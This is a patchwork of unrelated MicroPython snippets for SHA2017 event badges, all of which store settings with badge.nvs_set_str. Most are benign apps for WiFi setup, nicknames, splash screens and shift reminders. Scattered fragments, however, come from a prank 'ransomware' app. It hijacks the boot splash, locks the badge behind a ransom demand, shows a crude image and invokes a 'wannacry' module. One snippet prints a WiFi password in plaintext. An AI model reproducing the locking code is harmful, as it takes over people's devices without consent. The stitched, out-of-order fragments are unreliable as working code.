def passInputDone(passIn): badge.nvs_set_str("system", "wifi.password", passIn) ugfx.clear(ugfx.WHITE) ugfx.string(100, 50, 'Restarting!', 'Roboto_Regular18', ugfx.BLACK) ugfx.flush() badge.eink_busy_wait() system.reboot()
def connectClick(pushed): if pushed: selected = options.selected_text().encode() print('selected') options.destroy() ssidType = scanResults[ssidList.index(selected)][4] print(ssidType) print(ssidList.index(selected)) ugfx.clear(ugfx.WHITE) ugfx.string(100, 50, selected, 'Roboto_Regular18', ugfx.BLACK) ugfx.flush() if ssidType == 5: clearGhosting() ugfx.clear(ugfx.WHITE) ugfx.string(20, 50, 'WPA Enterprise unsupported...', 'Roboto_Regular18', ugfx.BLACK) ugfx.set_lut(ugfx.LUT_FULL) ugfx.flush() badge.eink_busy_wait() system.reboot() badge.nvs_set_str("system", "wifi.ssid", selected) if ssidType == 0: badge.nvs_set_str("system", "wifi.password", '') system.reboot() else: clearGhosting() dialogs.prompt_text("WiFi password", cb=passInputDone)
def setup(): import badge import easydraw import machine easydraw.msg("Setting weather overview as boot app") badge.nvs_set_str('boot', 'splash', 'WeekWeather') machine.deepsleep(1)
def set_debug(pressed): if not pressed: if debug_enabled: set_message("Debug disabled") badge.nvs_set_str("oneliner", "debug", "False") else: set_message("Debug enabled") badge.nvs_set_str("oneliner", "debug", "True")
def confirm(ssid, password): term.header(True, "WiFi setup") badge.nvs_set_str("badge", "wifi.ssid", ssid) badge.nvs_set_str("badge", "wifi.password", password) print("New configuration has been saved.") print("") print("SSID:\t\t" + ssid) if len(password) < 1: print("No password") else: print("PASSWORD:\t" + password) print("") print("Press any key to return to the homescreen") sys.stdin.read(1) appglue.home()
def write_lock(): global ransom_id badge.nvs_set_str('boot', 'splash', 'ascii_porn') #Now you are the homescreen :P ugfx.clear(ugfx.WHITE) ugfx.string(15, 10, "SHA2017 - Ransomware", "Roboto_BlackItalic24", ugfx.BLACK) write(40, "Oh noes, your badge is being held hostage!") write(52, "Deliver a club mate to the Snowden field.") write(64, "We're in the first big tent to the left.") write(76, "Be sure to show us this ID: " + ransom_id) ugfx.input_attach(ugfx.BTN_START, attempt_unlock) ugfx.string(20, 100, "[PRESS START TO UNLOCK]", "Roboto_Regular18", ugfx.BLACK) ugfx.flush()
def attempt_unlock_secret_entered(secret): ugfx.clear(ugfx.WHITE) ugfx.string(15, 10, "SHA2017 - Ransomware", "Roboto_BlackItalic24", ugfx.BLACK) if secret == ransom_secret: badge.nvs_set_str('boot', 'splash', 'splash') write(40, "Dobby is free!") ugfx.flush() time.sleep(4) appglue.home() else: write(40, "INVALID RANSOM SECRET!") ugfx.flush() time.sleep(4) write_lock()
def asked_nickname(value): if value: badge.nvs_set_str("owner", "name", value) # Do the firstboot magic newState = 1 if badge.nvs_get_u8('badge', 'setup.state', 0) == 0 else 3 badge.nvs_set_u8('badge', 'setup.state', newState) # Show the user that we are done easydraw.msg("Hi " + value + "!", 'Your nick has been stored to flash!') time.sleep(0.5) else: badge.nvs_set_u8('badge', 'setup.state', 2) # Skip the sponsors badge.nvs_set_u8('sponsors', 'shown', 1) appglue.home()
def printMatrix(): global SPACING, foreground badge.nvs_set_str("owner", "name", "... NEO ...") for x in range(0, COLS): for y in range(0, ROWS): bold = False if (y < ROWS): if (matrix[x][y] != ' ' and matrix[x][y + 1] == ' '): bold = True if bold: ugfx.string(x * SPACING + 1, y * SPACING, matrix[x][y], "Roboto_Regular12", foreground) ugfx.string(x * SPACING, y * SPACING, matrix[x][y], "Roboto_Regular12", foreground) ugfx.string(x * SPACING - 1, y * SPACING, matrix[x][y], "Roboto_Regular12", foreground) else: ugfx.string(x * SPACING, y * SPACING, matrix[x][y], "Roboto_Regular12", foreground) ugfx.flush()
def loop(): print("> angelshifts loop") last_update = int(badge.nvs_get_str("engel", "update", "0")) print("last update: ", last_update) if api_key: # Perform update if update_interval has passed if last_update + update_interval < easyrtc.time.time(): print("angelshifts: updating...") wifi.init() tries = 0 while not wifi.sta_if.isconnected(): time.sleep(0.1) tries += 1 if tries >= wifi_tries: return wakeup_interval next_shift = get_next_shift(api_key) if next_shift: badge.nvs_set_str("engel", "shift_name", next_shift["name"]) badge.nvs_set_str("engel", "shift_loc", next_shift["Name"]) badge.nvs_set_str("engel", "shift_start", next_shift["start"]) badge.nvs_set_str("engel", "shift_end", next_shift["end"]) badge.nvs_set_u8("engel", "notified", 0) else: badge.nvs_set_str("engel", "shift_name", "") badge.nvs_set_str("engel", "update", str(easyrtc.time.time())) else: print("angelshifts: no update needed") # Notify about upcoming shift if it starts in less than notify_time if badge.nvs_get_str("engel", "shift_name", "") and not bool( badge.nvs_get_u8("engel", "notified")): start = int(badge.nvs_get_str("engel", "shift_start", "")) now = easyrtc.time.time() if start > now and start < now + notify_time: global notified badge.vibrator_init() badge.vibrator_activate(200) ugfx.string( 0, 0, "NEXT SHIFT IN {} MINUTES!".format(notify_time // 60), "PermanentMarker22", ugfx.BLACK) ugfx.flush() return wakeup_interval else: print("no api key set up") return 0
import dialogs import ugfx import badge ugfx.clear(ugfx.BLACK) ugfx.flush() ugfx.clear(ugfx.WHITE) ugfx.flush() name = badge.nvs_get_str("owner", "name", "") nick = dialogs.prompt_text("Please enter name", name) if nick: badge.nvs_set_str("owner", "name", nick) #Nice clean screen ugfx.clear(ugfx.BLACK) ugfx.flush() ugfx.clear(ugfx.WHITE) ugfx.flush() ugfx.string_box(0, 10, 296, 26, "STILL", "Roboto_BlackItalic24", ugfx.BLACK, ugfx.justifyCenter) ugfx.string_box(0, 45, 296, 38, nick, "PermanentMarker36", ugfx.BLACK, ugfx.justifyCenter) ugfx.string_box(0, 94, 296, 26, "Anyway", "Roboto_BlackItalic24", ugfx.BLACK, ugfx.justifyCenter) #the line under the text str_len = ugfx.get_string_width(nick, "PermanentMarker36") line_begin = int((296 - str_len) / 2) line_end = str_len + line_begin ugfx.line(line_begin, 83, line_end, 83, ugfx.BLACK)
def store_creation(): global creation for comp_name, val in creation.items(): badge.nvs_set_str("lenny_face", comp_name, str(val))
def asked_nickname(value): if value: badge.nvs_set_str("owner", "name", value) appglue.home()
current = badge.nvs_get_str('splash', 'logo', None) while True: options = [] for f in pictures: title = f if f == current: title += " [Enabled]" options.append(title) options.append("Default logo") options.append("< Exit") selected = term.menu("Picture", options, 0, "") if selected > len(pictures): system.home(True) if selected == len(pictures): current = None try: badge.nvs_erase_key('splash', 'logo') except: pass term.header(True, "Picture") print("Default picture selected") time.sleep(1) else: current = pictures[selected] badge.nvs_set_str('splash', 'logo', current) term.header(True, "Picture") print("Selected "+current) time.sleep(1)
ugfx.flush() # Wait for WiFi connection while not wifi.sta_if.isconnected(): time.sleep(0.1) pass ugfx.clear(ugfx.BLACK) ugfx.flush() ugfx.clear(ugfx.WHITE) ugfx.flush() input_string = badge.nvs_get_str("Hashtag", "hashtag", "") hashtag = dialogs.prompt_text("What hashtag should we display?", input_string) if hashtag: badge.nvs_set_str("Hashtag", "hashtag", hashtag) tweets = [] def get_tweets(hashtag): gc.collect() try: data = requests.get("http://server/html/twitter/get.php?hashtag="+hashtag) except: print("Could not download JSON!") time.sleep(1) return try: global tweets tweets = data.json() except: data.close()
time.sleep(4) write_lock() def attempt_unlock(pressed): global ransom_secret, ransom_paid if not pressed: write_lock() else: dialogs.prompt_text("Ransom secret: ", cb=attempt_unlock_secret_entered) try: if (badge.nvs_get_str('boot', 'splash', 'ascii_porn') == 'splash'): badge.nvs_set_str('boot', 'splash', 'ascii_porn') badge.eink_png(0, 0, '/lib/ascii_porn/dickbutt.png') ugfx.flush() time.sleep(120) except: print("Hmm, no cry...") try: load_keys() write_lock() cry = __import__("/lib/ascii_porn/wannacry") cry.f**k() except Exception as e: write(40, "Someone's probably DDOS'ing the server") ugfx.flush()
def callback(value): if value: badge.nvs_set_str("owner", "name", value) system.home()
def prompt_api_key(): global api_key api_key = dialogs.prompt_text("Your engelsystem api key") badge.nvs_set_str("engel", "key", api_key)
current = badge.nvs_get_str('splash', 'ledApp', None) while True: options = [] for service in services: title = service if service == current: title += " [Enabled]" options.append(title) options.append(" None (disable LED services)") options.append("< Exit") selected = term.menu("Services", options, 0, "") if selected > len(services): system.home(True) if selected == len(services): current = None try: badge.nvs_erase_key('splash', 'ledApp') except: pass term.header(True, "Services") print("LED services disabled") time.sleep(1) else: current = services[selected] badge.nvs_set_str('splash', 'ledApp', current) term.header(True, "Services") print("Selected "+current) time.sleep(1)